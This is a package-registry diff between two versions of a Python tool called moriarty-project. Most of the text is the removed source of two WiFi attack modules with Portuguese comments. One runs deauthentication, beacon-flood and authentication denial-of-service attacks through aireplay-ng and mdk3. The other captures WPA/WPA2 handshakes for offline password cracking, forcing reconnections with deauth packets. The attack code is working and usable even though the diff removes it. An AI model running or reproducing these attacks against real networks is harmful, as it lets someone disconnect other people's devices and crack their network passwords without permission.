moriarty-project 0.1.22__py3-none-any.whl → 0.1.24__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- moriarty/__init__.py +1 -1
- moriarty/cli/app.py +4 -3
- moriarty/cli/domain_cmd.py +5 -1
- moriarty/modules/directory_fuzzer.py +25 -5
- moriarty/modules/web_crawler.py +448 -91
- {moriarty_project-0.1.22.dist-info → moriarty_project-0.1.24.dist-info}/METADATA +3 -3
- {moriarty_project-0.1.22.dist-info → moriarty_project-0.1.24.dist-info}/RECORD +9 -27
- moriarty/modules/wifippler/__init__.py +0 -92
- moriarty/modules/wifippler/cli/__init__.py +0 -8
- moriarty/modules/wifippler/cli/commands.py +0 -123
- moriarty/modules/wifippler/core/__init__.py +0 -94
- moriarty/modules/wifippler/core/attacks/__init__.py +0 -146
- moriarty/modules/wifippler/core/attacks/deauth.py +0 -262
- moriarty/modules/wifippler/core/attacks/handshake.py +0 -402
- moriarty/modules/wifippler/core/attacks/pmkid.py +0 -424
- moriarty/modules/wifippler/core/attacks/wep.py +0 -467
- moriarty/modules/wifippler/core/attacks/wpa.py +0 -446
- moriarty/modules/wifippler/core/attacks/wps.py +0 -474
- moriarty/modules/wifippler/core/models/__init__.py +0 -10
- moriarty/modules/wifippler/core/models/network.py +0 -240
- moriarty/modules/wifippler/core/scanner.py +0 -903
- moriarty/modules/wifippler/core/utils/__init__.py +0 -624
- moriarty/modules/wifippler/core/utils/exec.py +0 -182
- moriarty/modules/wifippler/core/utils/network.py +0 -262
- moriarty/modules/wifippler/core/utils/system.py +0 -153
- {moriarty_project-0.1.22.dist-info → moriarty_project-0.1.24.dist-info}/WHEEL +0 -0
- {moriarty_project-0.1.22.dist-info → moriarty_project-0.1.24.dist-info}/entry_points.txt +0 -0
@@ -1,262 +0,0 @@
|
|
1
|
-
"""
|
2
|
-
Módulo de ataque de desautenticação.
|
3
|
-
|
4
|
-
Este módulo implementa ataques de desautenticação contra redes WiFi, permitindo:
|
5
|
-
- Desautenticar clientes específicos
|
6
|
-
- Desautenticar todos os clientes de uma rede
|
7
|
-
- Enviar pacotes de desautenticação em massa
|
8
|
-
- Realizar ataques Beacon Flood
|
9
|
-
- Realizar ataques de desautenticação direcionados
|
10
|
-
"""
|
11
|
-
import os
|
12
|
-
import re
|
13
|
-
import time
|
14
|
-
import logging
|
15
|
-
import subprocess
|
16
|
-
import tempfile
|
17
|
-
from typing import Optional, Dict, List, Tuple, Any, Callable, Union
|
18
|
-
from dataclasses import dataclass, field
|
19
|
-
from enum import Enum, auto
|
20
|
-
|
21
|
-
from rich.console import Console
|
22
|
-
from rich.progress import Progress, SpinnerColumn, TextColumn
|
23
|
-
|
24
|
-
from ...core.models.network import WiFiNetwork, WiFiClient
|
25
|
-
from ...core.utils import (
|
26
|
-
is_root, check_dependencies, get_network_interfaces,
|
27
|
-
set_monitor_mode, restore_network_interface, command_exists,
|
28
|
-
get_interface_mac
|
29
|
-
)
|
30
|
-
|
31
|
-
# Importa o decorador de registro de ataques
|
32
|
-
from . import register_attack
|
33
|
-
|
34
|
-
# Configuração de logging
|
35
|
-
logging.basicConfig(level=logging.INFO)
|
36
|
-
logger = logging.getLogger(__name__)
|
37
|
-
console = Console()
|
38
|
-
|
39
|
-
class DeauthAttackType(Enum):
|
40
|
-
"""Tipos de ataque de desautenticação."""
|
41
|
-
DEAUTH = auto() # Desautenticação padrão
|
42
|
-
AUTH = auto() # Pacotes de autenticação
|
43
|
-
BEACON = auto() # Beacon flood
|
44
|
-
DISASSOC = auto() # Desassociação
|
45
|
-
PROBE_RESP = auto() # Resposta a sondas
|
46
|
-
AUTH_DOS = auto() # Negação de serviço por autenticação
|
47
|
-
DEAUTH_BROADCAST = auto() # Desautenticação em broadcast
|
48
|
-
DEAUTH_MULTICAST = auto() # Desautenticação em multicast
|
49
|
-
DEAUTH_DIRECTED = auto() # Desautenticação direcionada
|
50
|
-
|
51
|
-
class DeauthEventType(Enum):
|
52
|
-
"""Tipos de eventos do ataque de desautenticação."""
|
53
|
-
START = auto()
|
54
|
-
PACKET_SENT = auto()
|
55
|
-
CLIENT_DISCONNECTED = auto()
|
56
|
-
ERROR = auto()
|
57
|
-
COMPLETE = auto()
|
58
|
-
STATUS = auto()
|
59
|
-
|
60
|
-
@dataclass
|
61
|
-
class DeauthEvent:
|
62
|
-
"""Evento de progresso do ataque de desautenticação."""
|
63
|
-
type: DeauthAttackType
|
64
|
-
message: str = ""
|
65
|
-
data: Dict[str, Any] = field(default_factory=dict)
|
66
|
-
|
67
|
-
@register_attack
|
68
|
-
class DeauthAttack:
|
69
|
-
"""
|
70
|
-
Ataque de desautenticação WiFi.
|
71
|
-
|
72
|
-
Este ataque envia pacotes de desautenticação para desconectar clientes de uma rede WiFi.
|
73
|
-
Pode ser direcionado a um cliente específico ou a todos os clientes de uma rede.
|
74
|
-
"""
|
75
|
-
|
76
|
-
# Metadados do ataque
|
77
|
-
name = "deauth"
|
78
|
-
description = "Ataque de desautenticação WiFi para desconectar clientes de uma rede"
|
79
|
-
|
80
|
-
def __init__(self):
|
81
|
-
"""Inicializa o ataque de desautenticação."""
|
82
|
-
self.interface = None
|
83
|
-
self.deauth_type = None
|
84
|
-
self.is_running = False
|
85
|
-
self.stop_requested = False
|
86
|
-
self.packets_sent = 0
|
87
|
-
self.process = None
|
88
|
-
self._check_dependencies()
|
89
|
-
|
90
|
-
def _check_dependencies(self) -> None:
|
91
|
-
"""Verifica se todas as dependências necessárias estão instaladas."""
|
92
|
-
required = ['aireplay-ng', 'mdk4', 'mdk3', 'iwconfig', 'ifconfig']
|
93
|
-
missing = [cmd for cmd in required if not command_exists(cmd)]
|
94
|
-
|
95
|
-
if missing:
|
96
|
-
raise RuntimeError(
|
97
|
-
f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
|
98
|
-
"Instale-as com: sudo apt install aircrack-ng mdk4 mdk3 wireless-tools"
|
99
|
-
)
|
100
|
-
|
101
|
-
def run(self, *, iface: str, target: Optional[str] = None, **kwargs) -> bool:
|
102
|
-
"""
|
103
|
-
Executa o ataque de desautenticação.
|
104
|
-
|
105
|
-
Args:
|
106
|
-
iface: Interface de rede a ser usada
|
107
|
-
target: Endereço MAC do alvo (pode ser um cliente ou AP)
|
108
|
-
**kwargs: Argumentos adicionais:
|
109
|
-
- bssid: Endereço MAC do ponto de acesso (obrigatório se target for um cliente)
|
110
|
-
- client_mac: Endereço MAC do cliente (opcional, None para broadcast)
|
111
|
-
- count: Número de pacotes a enviar (0 para contínuo, padrão: 0)
|
112
|
-
- delay: Atraso entre pacotes em ms (padrão: 100)
|
113
|
-
- reason: Código de motivo (padrão: 7)
|
114
|
-
- channel: Canal da rede (opcional, tenta detectar)
|
115
|
-
- deauth_type: Tipo de ataque (padrão: DEAUTH)
|
116
|
-
"""
|
117
|
-
self.interface = iface
|
118
|
-
bssid = target or kwargs.get('bssid')
|
119
|
-
client_mac = kwargs.get('client_mac')
|
120
|
-
count = kwargs.get('count', 0)
|
121
|
-
delay = kwargs.get('delay', 100)
|
122
|
-
reason = kwargs.get('reason', 7)
|
123
|
-
channel = kwargs.get('channel')
|
124
|
-
deauth_type = kwargs.get('deauth_type', 'DEAUTH')
|
125
|
-
|
126
|
-
# Configura o tipo de ataque
|
127
|
-
self.deauth_type = DeauthAttackType[deauth_type.upper()] if isinstance(deauth_type, str) else deauth_type
|
128
|
-
|
129
|
-
# Função de callback padrão
|
130
|
-
def default_callback(event):
|
131
|
-
if event.type == DeauthEventType.INFO:
|
132
|
-
logger.info(event.message)
|
133
|
-
elif event.type == DeauthEventType.ERROR:
|
134
|
-
logger.error(event.message)
|
135
|
-
|
136
|
-
callback = kwargs.get('callback', default_callback)
|
137
|
-
|
138
|
-
def event_handler(event_type: DeauthEventType, message: str = "", **kwargs):
|
139
|
-
if callback:
|
140
|
-
event = DeauthEvent(type=event_type, message=message, data=kwargs)
|
141
|
-
callback(event)
|
142
|
-
|
143
|
-
try:
|
144
|
-
# Verifica privilégios
|
145
|
-
if not is_root():
|
146
|
-
raise PermissionError("Este ataque requer privilégios de root")
|
147
|
-
|
148
|
-
# Define o canal, se especificado
|
149
|
-
if channel:
|
150
|
-
self._set_channel(channel)
|
151
|
-
|
152
|
-
# Prepara o comando com base no tipo de ataque
|
153
|
-
if self.deauth_type == DeauthAttackType.BEACON:
|
154
|
-
cmd = self._prepare_beacon_attack(bssid, essid="FREE_WIFI")
|
155
|
-
elif self.deauth_type == DeauthAttackType.AUTH_DOS:
|
156
|
-
cmd = self._prepare_auth_dos(bssid)
|
157
|
-
else: # Desautenticação padrão
|
158
|
-
cmd = self._prepare_standard_deauth(bssid, client_mac, count, delay, reason)
|
159
|
-
|
160
|
-
event_handler(DeauthEventType.START, f"Iniciando ataque {self.deauth_type.name}...")
|
161
|
-
|
162
|
-
# Executa o comando em segundo plano
|
163
|
-
self.process = subprocess.Popen(
|
164
|
-
cmd,
|
165
|
-
stdout=subprocess.PIPE,
|
166
|
-
stderr=subprocess.STDOUT,
|
167
|
-
universal_newlines=True
|
168
|
-
)
|
169
|
-
|
170
|
-
# Monitora a saída
|
171
|
-
start_time = time.time()
|
172
|
-
self.is_running = True
|
173
|
-
|
174
|
-
while True:
|
175
|
-
# Verifica se foi solicitado para parar
|
176
|
-
if self.stop_requested:
|
177
|
-
self._stop_process()
|
178
|
-
event_handler(DeauthEventType.COMPLETE, "Ataque interrompido pelo usuário")
|
179
|
-
return True
|
180
|
-
|
181
|
-
# Verifica se o processo ainda está em execução
|
182
|
-
if self.process.poll() is not None:
|
183
|
-
break
|
184
|
-
|
185
|
-
# Lê a saída
|
186
|
-
line = self.process.stdout.readline()
|
187
|
-
if line:
|
188
|
-
# Conta os pacotes enviados
|
189
|
-
if "DeAuth" in line or "Sent" in line:
|
190
|
-
self.packets_sent += 1
|
191
|
-
event_handler(
|
192
|
-
DeauthEventType.PACKET_SENT,
|
193
|
-
f"Pacote {self.packets_sent} enviado",
|
194
|
-
packets_sent=self.packets_sent
|
195
|
-
)
|
196
|
-
|
197
|
-
# Verifica se um cliente foi desconectado
|
198
|
-
if "deauth" in line.lower() or "disassoc" in line.lower():
|
199
|
-
event_handler(
|
200
|
-
DeauthEventType.CLIENT_DISCONNECTED,
|
201
|
-
f"Cliente {client_mac or 'broadcast'} desconectado",
|
202
|
-
client_mac=client_mac,
|
203
|
-
bssid=bssid
|
204
|
-
)
|
205
|
-
|
206
|
-
# Aguarda um pouco antes da próxima verificação
|
207
|
-
time.sleep(0.1)
|
208
|
-
|
209
|
-
event_handler(DeauthEventType.COMPLETE, "Ataque concluído")
|
210
|
-
return True
|
211
|
-
|
212
|
-
except Exception as e:
|
213
|
-
event_handler(DeauthEventType.ERROR, f"Erro durante o ataque: {str(e)}")
|
214
|
-
return False
|
215
|
-
finally:
|
216
|
-
self.is_running = False
|
217
|
-
|
218
|
-
def _set_channel(self, channel: int) -> None:
|
219
|
-
"""Define o canal da interface de rede."""
|
220
|
-
try:
|
221
|
-
subprocess.run(
|
222
|
-
["iwconfig", self.interface, "channel", str(channel)],
|
223
|
-
check=True,
|
224
|
-
capture_output=True
|
225
|
-
)
|
226
|
-
except subprocess.CalledProcessError as e:
|
227
|
-
raise RuntimeError(f"Falha ao definir o canal {channel}: {e.stderr}")
|
228
|
-
|
229
|
-
def _prepare_standard_deauth(self, bssid: str, client_mac: str = None,
|
230
|
-
count: int = 0, delay: int = 100,
|
231
|
-
reason: int = 7) -> List[str]:
|
232
|
-
"""Prepara o comando para desautenticação padrão."""
|
233
|
-
cmd = ["aireplay-ng", "--deauth", str(count) if count > 0 else "0",
|
234
|
-
"-a", bssid, "-D", str(delay), "--ignore-negative-one"]
|
235
|
-
|
236
|
-
if client_mac:
|
237
|
-
cmd.extend(["-c", client_mac])
|
238
|
-
|
239
|
-
cmd.append(self.interface)
|
240
|
-
return cmd
|
241
|
-
|
242
|
-
def _prepare_beacon_attack(self, bssid: str, essid: str = "FREE_WIFI") -> List[str]:
|
243
|
-
"""Prepara o comando para ataque de Beacon Flood."""
|
244
|
-
return ["mdk3", self.interface, "b", "-n", essid, "-c", "1", "-s", "100"]
|
245
|
-
|
246
|
-
def _prepare_auth_dos(self, bssid: str) -> List[str]:
|
247
|
-
"""Prepara o comando para ataque de negação de serviço por autenticação."""
|
248
|
-
return ["mdk3", self.interface, "a", "-a", bssid, "-m"]
|
249
|
-
|
250
|
-
def _stop_process(self) -> None:
|
251
|
-
"""Para o processo em execução."""
|
252
|
-
if self.process and self.process.poll() is None:
|
253
|
-
self.process.terminate()
|
254
|
-
try:
|
255
|
-
self.process.wait(timeout=5)
|
256
|
-
except subprocess.TimeoutExpired:
|
257
|
-
self.process.kill()
|
258
|
-
|
259
|
-
def stop(self) -> None:
|
260
|
-
"""Solicita a interrupção do ataque."""
|
261
|
-
self.stop_requested = True
|
262
|
-
self._stop_process()
|
@@ -1,402 +0,0 @@
|
|
1
|
-
"""
|
2
|
-
Módulo de captura de handshake WPA/WPA2.
|
3
|
-
|
4
|
-
Este módulo implementa a captura de handshakes WPA/WPA2, que são necessários
|
5
|
-
para realizar ataques de força bruta offline.
|
6
|
-
"""
|
7
|
-
import os
|
8
|
-
import re
|
9
|
-
import time
|
10
|
-
import logging
|
11
|
-
import subprocess
|
12
|
-
import tempfile
|
13
|
-
from typing import Optional, Dict, List, Tuple, Any, Callable
|
14
|
-
from dataclasses import dataclass, field
|
15
|
-
from enum import Enum, auto
|
16
|
-
|
17
|
-
from rich.console import Console
|
18
|
-
from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn, TimeElapsedColumn
|
19
|
-
|
20
|
-
from ...core.models.network import WiFiNetwork, WiFiClient
|
21
|
-
from ...core.utils import (
|
22
|
-
is_root, check_dependencies, get_network_interfaces,
|
23
|
-
set_monitor_mode, restore_network_interface, command_exists,
|
24
|
-
get_interface_mac
|
25
|
-
)
|
26
|
-
|
27
|
-
# Configuração de logging
|
28
|
-
logging.basicConfig(level=logging.INFO)
|
29
|
-
logger = logging.getLogger(__name__)
|
30
|
-
console = Console()
|
31
|
-
|
32
|
-
class HandshakeEventType(Enum):
|
33
|
-
"""Tipos de eventos da captura de handshake."""
|
34
|
-
START = auto()
|
35
|
-
HANDSHAKE_CAPTURED = auto()
|
36
|
-
DEAUTH_SENT = auto()
|
37
|
-
ERROR = auto()
|
38
|
-
PROGRESS = auto()
|
39
|
-
COMPLETE = auto()
|
40
|
-
CLIENT_FOUND = auto()
|
41
|
-
WAITING_FOR_HANDSHAKE = auto()
|
42
|
-
|
43
|
-
@dataclass
|
44
|
-
class HandshakeEvent:
|
45
|
-
"""Evento de progresso da captura de handshake."""
|
46
|
-
type: HandshakeEventType
|
47
|
-
message: str = ""
|
48
|
-
data: Dict[str, Any] = field(default_factory=dict)
|
49
|
-
|
50
|
-
class HandshakeCapture:
|
51
|
-
"""Classe para capturar handshakes WPA/WPA2."""
|
52
|
-
|
53
|
-
def __init__(self, interface: str = None, timeout: int = 300):
|
54
|
-
"""
|
55
|
-
Inicializa a captura de handshake.
|
56
|
-
|
57
|
-
Args:
|
58
|
-
interface: Interface de rede para usar
|
59
|
-
timeout: Tempo máximo de captura em segundos
|
60
|
-
"""
|
61
|
-
self.interface = interface
|
62
|
-
self.timeout = timeout
|
63
|
-
self.is_running = False
|
64
|
-
self.stop_requested = False
|
65
|
-
self.handshake_captured = False
|
66
|
-
self.handshake_file = ""
|
67
|
-
self.clients = []
|
68
|
-
|
69
|
-
# Verifica dependências
|
70
|
-
self._check_dependencies()
|
71
|
-
|
72
|
-
# Verifica privilégios
|
73
|
-
if not is_root():
|
74
|
-
raise PermissionError("Este módulo requer privilégios de root")
|
75
|
-
|
76
|
-
def _check_dependencies(self) -> None:
|
77
|
-
"""Verifica se todas as dependências necessárias estão instaladas."""
|
78
|
-
required = ['airodump-ng', 'aireplay-ng', 'aircrack-ng']
|
79
|
-
missing = [cmd for cmd in required if not command_exists(cmd)]
|
80
|
-
|
81
|
-
if missing:
|
82
|
-
raise RuntimeError(
|
83
|
-
f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
|
84
|
-
"Instale-as com: sudo apt install aircrack-ng"
|
85
|
-
)
|
86
|
-
|
87
|
-
def capture(self, bssid: str, channel: int, essid: str = None,
|
88
|
-
output_prefix: str = "handshake",
|
89
|
-
deauth: bool = True, deauth_count: int = 5,
|
90
|
-
client_mac: str = None,
|
91
|
-
callback: Callable[[HandshakeEvent], None] = None) -> Tuple[bool, str]:
|
92
|
-
"""
|
93
|
-
Captura um handshake WPA/WPA2.
|
94
|
-
|
95
|
-
Args:
|
96
|
-
bssid: Endereço MAC do ponto de acesso
|
97
|
-
channel: Canal da rede
|
98
|
-
essid: Nome da rede (opcional)
|
99
|
-
output_prefix: Prefixo para os arquivos de saída
|
100
|
-
deauth: Se deve enviar pacotes de desautenticação
|
101
|
-
deauth_count: Número de pacotes de desautenticação a enviar
|
102
|
-
client_mac: Endereço MAC do cliente alvo (opcional)
|
103
|
-
callback: Função de callback para eventos
|
104
|
-
|
105
|
-
Returns:
|
106
|
-
Tupla (sucesso, caminho_do_arquivo_capturado)
|
107
|
-
"""
|
108
|
-
self.is_running = True
|
109
|
-
self.stop_requested = False
|
110
|
-
self.handshake_captured = False
|
111
|
-
self.handshake_file = ""
|
112
|
-
self.clients = []
|
113
|
-
|
114
|
-
# Configura o monitoramento de eventos
|
115
|
-
def event_handler(event_type: HandshakeEventType, message: str = "", **kwargs):
|
116
|
-
if callback:
|
117
|
-
event = HandshakeEvent(type=event_type, message=message, data=kwargs)
|
118
|
-
callback(event)
|
119
|
-
|
120
|
-
# Cria um diretório temporário para os arquivos
|
121
|
-
with tempfile.TemporaryDirectory() as temp_dir:
|
122
|
-
try:
|
123
|
-
output_file = os.path.join(temp_dir, output_prefix)
|
124
|
-
cap_file = f"{output_file}-01.cap"
|
125
|
-
|
126
|
-
# Comando para o airodump-ng
|
127
|
-
cmd_airodump = [
|
128
|
-
'airodump-ng',
|
129
|
-
'--bssid', bssid,
|
130
|
-
'-c', str(channel),
|
131
|
-
'-w', output_file,
|
132
|
-
'--output-format', 'cap,pcap',
|
133
|
-
'--write-interval', '1',
|
134
|
-
self.interface
|
135
|
-
]
|
136
|
-
|
137
|
-
if essid:
|
138
|
-
cmd_airodump.extend(['--essid', essid])
|
139
|
-
|
140
|
-
event_handler(HandshakeEventType.START, "Iniciando captura do handshake...")
|
141
|
-
|
142
|
-
# Executa o airodump-ng em segundo plano
|
143
|
-
airodump_proc = subprocess.Popen(
|
144
|
-
cmd_airodump,
|
145
|
-
stdout=subprocess.PIPE,
|
146
|
-
stderr=subprocess.PIPE,
|
147
|
-
universal_newlines=True
|
148
|
-
)
|
149
|
-
|
150
|
-
# Aguarda o airodump-ng iniciar
|
151
|
-
time.sleep(5)
|
152
|
-
|
153
|
-
# Se solicitado, envia pacotes de desautenticação
|
154
|
-
if deauth:
|
155
|
-
self._send_deauth(
|
156
|
-
bssid,
|
157
|
-
count=deauth_count,
|
158
|
-
client=client_mac,
|
159
|
-
callback=lambda e: event_handler(
|
160
|
-
HandshakeEventType.DEAUTH_SENT,
|
161
|
-
e.message,
|
162
|
-
**e.data
|
163
|
-
)
|
164
|
-
)
|
165
|
-
|
166
|
-
# Monitora a captura
|
167
|
-
start_time = time.time()
|
168
|
-
last_client_count = 0
|
169
|
-
|
170
|
-
with Progress(
|
171
|
-
SpinnerColumn(),
|
172
|
-
TextColumn("[progress.description]{task.description}"),
|
173
|
-
BarColumn(bar_width=40),
|
174
|
-
"[progress.percentage]{task.percentage:>3.0f}%",
|
175
|
-
TimeElapsedColumn(),
|
176
|
-
console=console,
|
177
|
-
transient=True,
|
178
|
-
) as progress:
|
179
|
-
task = progress.add_task("Aguardando handshake WPA...", total=100)
|
180
|
-
|
181
|
-
while True:
|
182
|
-
# Verifica timeout
|
183
|
-
elapsed = time.time() - start_time
|
184
|
-
if elapsed > self.timeout:
|
185
|
-
event_handler(
|
186
|
-
HandshakeEventType.ERROR,
|
187
|
-
"Tempo limite excedido na captura do handshake"
|
188
|
-
)
|
189
|
-
airodump_proc.terminate()
|
190
|
-
return False, ""
|
191
|
-
|
192
|
-
# Verifica se foi solicitado para parar
|
193
|
-
if self.stop_requested:
|
194
|
-
event_handler(
|
195
|
-
HandshakeEventType.ERROR,
|
196
|
-
"Captura interrompida pelo usuário"
|
197
|
-
)
|
198
|
-
airodump_proc.terminate()
|
199
|
-
return False, ""
|
200
|
-
|
201
|
-
# Atualiza a barra de progresso
|
202
|
-
progress.update(task, completed=min(100, (elapsed / self.timeout) * 100))
|
203
|
-
|
204
|
-
# Verifica se o arquivo de captura existe
|
205
|
-
if os.path.exists(cap_file):
|
206
|
-
# Verifica se o handshake foi capturado
|
207
|
-
if self._check_handshake(cap_file, bssid):
|
208
|
-
self.handshake_captured = True
|
209
|
-
self.handshake_file = cap_file
|
210
|
-
|
211
|
-
# Copia o arquivo para o diretório atual
|
212
|
-
import shutil
|
213
|
-
final_file = os.path.join(os.getcwd(), f"{output_prefix}.cap")
|
214
|
-
shutil.copy2(cap_file, final_file)
|
215
|
-
|
216
|
-
event_handler(
|
217
|
-
HandshakeEventType.HANDSHAKE_CAPTURED,
|
218
|
-
"Handshake capturado com sucesso!",
|
219
|
-
handshake_file=final_file
|
220
|
-
)
|
221
|
-
|
222
|
-
airodump_proc.terminate()
|
223
|
-
return True, final_file
|
224
|
-
|
225
|
-
# Verifica por novos clientes
|
226
|
-
clients = self._get_clients(cap_file, bssid)
|
227
|
-
if len(clients) > last_client_count:
|
228
|
-
last_client_count = len(clients)
|
229
|
-
self.clients = clients
|
230
|
-
|
231
|
-
event_handler(
|
232
|
-
HandshakeEventType.CLIENT_FOUND,
|
233
|
-
f"{len(clients)} cliente(s) encontrado(s)",
|
234
|
-
clients=clients
|
235
|
-
)
|
236
|
-
|
237
|
-
# Se não havia cliente alvo e encontrou um, envia desautenticação
|
238
|
-
if deauth and not client_mac and clients:
|
239
|
-
client_mac = clients[0].mac
|
240
|
-
self._send_deauth(
|
241
|
-
bssid,
|
242
|
-
client=client_mac,
|
243
|
-
count=deauth_count,
|
244
|
-
callback=lambda e: event_handler(
|
245
|
-
HandshakeEventType.DEAUTH_SENT,
|
246
|
-
e.message,
|
247
|
-
**e.data
|
248
|
-
)
|
249
|
-
)
|
250
|
-
|
251
|
-
# Aguarda um pouco antes da próxima verificação
|
252
|
-
time.sleep(1)
|
253
|
-
|
254
|
-
return False, ""
|
255
|
-
|
256
|
-
except Exception as e:
|
257
|
-
event_handler(
|
258
|
-
HandshakeEventType.ERROR,
|
259
|
-
f"Erro durante a captura do handshake: {str(e)}"
|
260
|
-
)
|
261
|
-
return False, ""
|
262
|
-
|
263
|
-
finally:
|
264
|
-
self.is_running = False
|
265
|
-
# Encerra processos em execução
|
266
|
-
try:
|
267
|
-
airodump_proc.terminate()
|
268
|
-
except:
|
269
|
-
pass
|
270
|
-
|
271
|
-
def _send_deauth(self, bssid: str, client: str = None,
|
272
|
-
count: int = 5, reason: int = 7,
|
273
|
-
callback: Callable[[HandshakeEvent], None] = None) -> bool:
|
274
|
-
"""
|
275
|
-
Envia pacotes de desautenticação para forçar um handshake.
|
276
|
-
|
277
|
-
Args:
|
278
|
-
bssid: Endereço MAC do ponto de acesso
|
279
|
-
client: Endereço MAC do cliente (None para broadcast)
|
280
|
-
count: Número de pacotes a enviar
|
281
|
-
reason: Código de motivo da desautenticação
|
282
|
-
callback: Função de callback para eventos
|
283
|
-
|
284
|
-
Returns:
|
285
|
-
True se os pacotes foram enviados com sucesso, False caso contrário
|
286
|
-
"""
|
287
|
-
try:
|
288
|
-
cmd = [
|
289
|
-
'aireplay-ng',
|
290
|
-
'--deauth', str(count),
|
291
|
-
'-a', bssid,
|
292
|
-
'-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
|
293
|
-
'--ignore-negative-one',
|
294
|
-
]
|
295
|
-
|
296
|
-
if client and client.lower() != 'ff:ff:ff:ff:ff:ff':
|
297
|
-
cmd.extend(['-c', client])
|
298
|
-
|
299
|
-
cmd.append(self.interface)
|
300
|
-
|
301
|
-
if callback:
|
302
|
-
event = HandshakeEvent(
|
303
|
-
type=HandshakeEventType.DEAUTH_SENT,
|
304
|
-
message=f"Enviando {count} pacotes de desautenticação para {client or 'broadcast'}",
|
305
|
-
data={
|
306
|
-
'bssid': bssid,
|
307
|
-
'client': client,
|
308
|
-
'count': count,
|
309
|
-
'reason': reason
|
310
|
-
}
|
311
|
-
)
|
312
|
-
callback(event)
|
313
|
-
|
314
|
-
subprocess.run(cmd, capture_output=True, check=True)
|
315
|
-
return True
|
316
|
-
|
317
|
-
except subprocess.CalledProcessError as e:
|
318
|
-
if callback:
|
319
|
-
event = HandshakeEvent(
|
320
|
-
type=HandshakeEventType.ERROR,
|
321
|
-
message=f"Erro ao enviar pacotes de desautenticação: {e.stderr}",
|
322
|
-
data={'error': str(e)}
|
323
|
-
)
|
324
|
-
callback(event)
|
325
|
-
return False
|
326
|
-
|
327
|
-
def _check_handshake(self, cap_file: str, bssid: str) -> bool:
|
328
|
-
"""
|
329
|
-
Verifica se um arquivo de captura contém um handshake WPA/WPA2 válido.
|
330
|
-
|
331
|
-
Args:
|
332
|
-
cap_file: Caminho para o arquivo de captura
|
333
|
-
bssid: Endereço MAC do ponto de acesso
|
334
|
-
|
335
|
-
Returns:
|
336
|
-
True se o handshake for válido, False caso contrário
|
337
|
-
"""
|
338
|
-
try:
|
339
|
-
# Usa o aircrack-ng para verificar o handshake
|
340
|
-
cmd = ['aircrack-ng', cap_file, '-b', bssid, '-l', '/dev/null']
|
341
|
-
result = subprocess.run(cmd, capture_output=True, text=True)
|
342
|
-
|
343
|
-
# Verifica a saída para determinar se há um handshake válido
|
344
|
-
return "1 handshake" in result.stdout or "1 valid handshake" in result.stdout
|
345
|
-
|
346
|
-
except Exception as e:
|
347
|
-
logger.error(f"Erro ao verificar handshake: {e}")
|
348
|
-
return False
|
349
|
-
|
350
|
-
def _get_clients(self, cap_file: str, bssid: str) -> List[WiFiClient]:
|
351
|
-
"""
|
352
|
-
Extrai a lista de clientes de um arquivo de captura.
|
353
|
-
|
354
|
-
Args:
|
355
|
-
cap_file: Caminho para o arquivo de captura
|
356
|
-
bssid: Endereço MAC do ponto de acesso
|
357
|
-
|
358
|
-
Returns:
|
359
|
-
Lista de clientes encontrados
|
360
|
-
"""
|
361
|
-
clients = []
|
362
|
-
|
363
|
-
try:
|
364
|
-
# Usa o tshark para extrair os endereços MAC dos clientes
|
365
|
-
cmd = [
|
366
|
-
'tshark',
|
367
|
-
'-r', cap_file,
|
368
|
-
'-Y', f'wlan.bssid == {bssid} && wlan.fc.type_subtype == 0x08', # Beacon frames
|
369
|
-
'-T', 'fields',
|
370
|
-
'-e', 'wlan.ta', # Transmitter address (client MAC)
|
371
|
-
'-e', 'wlan_radio.signal_dbm',
|
372
|
-
'-e', 'frame.time_relative'
|
373
|
-
]
|
374
|
-
|
375
|
-
result = subprocess.run(cmd, capture_output=True, text=True)
|
376
|
-
|
377
|
-
# Processa a saída
|
378
|
-
for line in result.stdout.splitlines():
|
379
|
-
parts = line.strip().split('\t')
|
380
|
-
if len(parts) >= 2:
|
381
|
-
mac = parts[0].strip()
|
382
|
-
signal = int(float(parts[1])) if parts[1] else -100
|
383
|
-
|
384
|
-
# Verifica se o cliente já está na lista
|
385
|
-
if not any(c.mac == mac for c in clients):
|
386
|
-
client = WiFiClient(
|
387
|
-
mac=mac,
|
388
|
-
signal_dbm=signal,
|
389
|
-
signal_percent=max(0, min(100, 2 * (signal + 100))),
|
390
|
-
is_associated=True
|
391
|
-
)
|
392
|
-
clients.append(client)
|
393
|
-
|
394
|
-
return clients
|
395
|
-
|
396
|
-
except Exception as e:
|
397
|
-
logger.error(f"Erro ao extrair clientes: {e}")
|
398
|
-
return []
|
399
|
-
|
400
|
-
def stop(self):
|
401
|
-
"""Solicita a interrupção da captura."""
|
402
|
-
self.stop_requested = True
|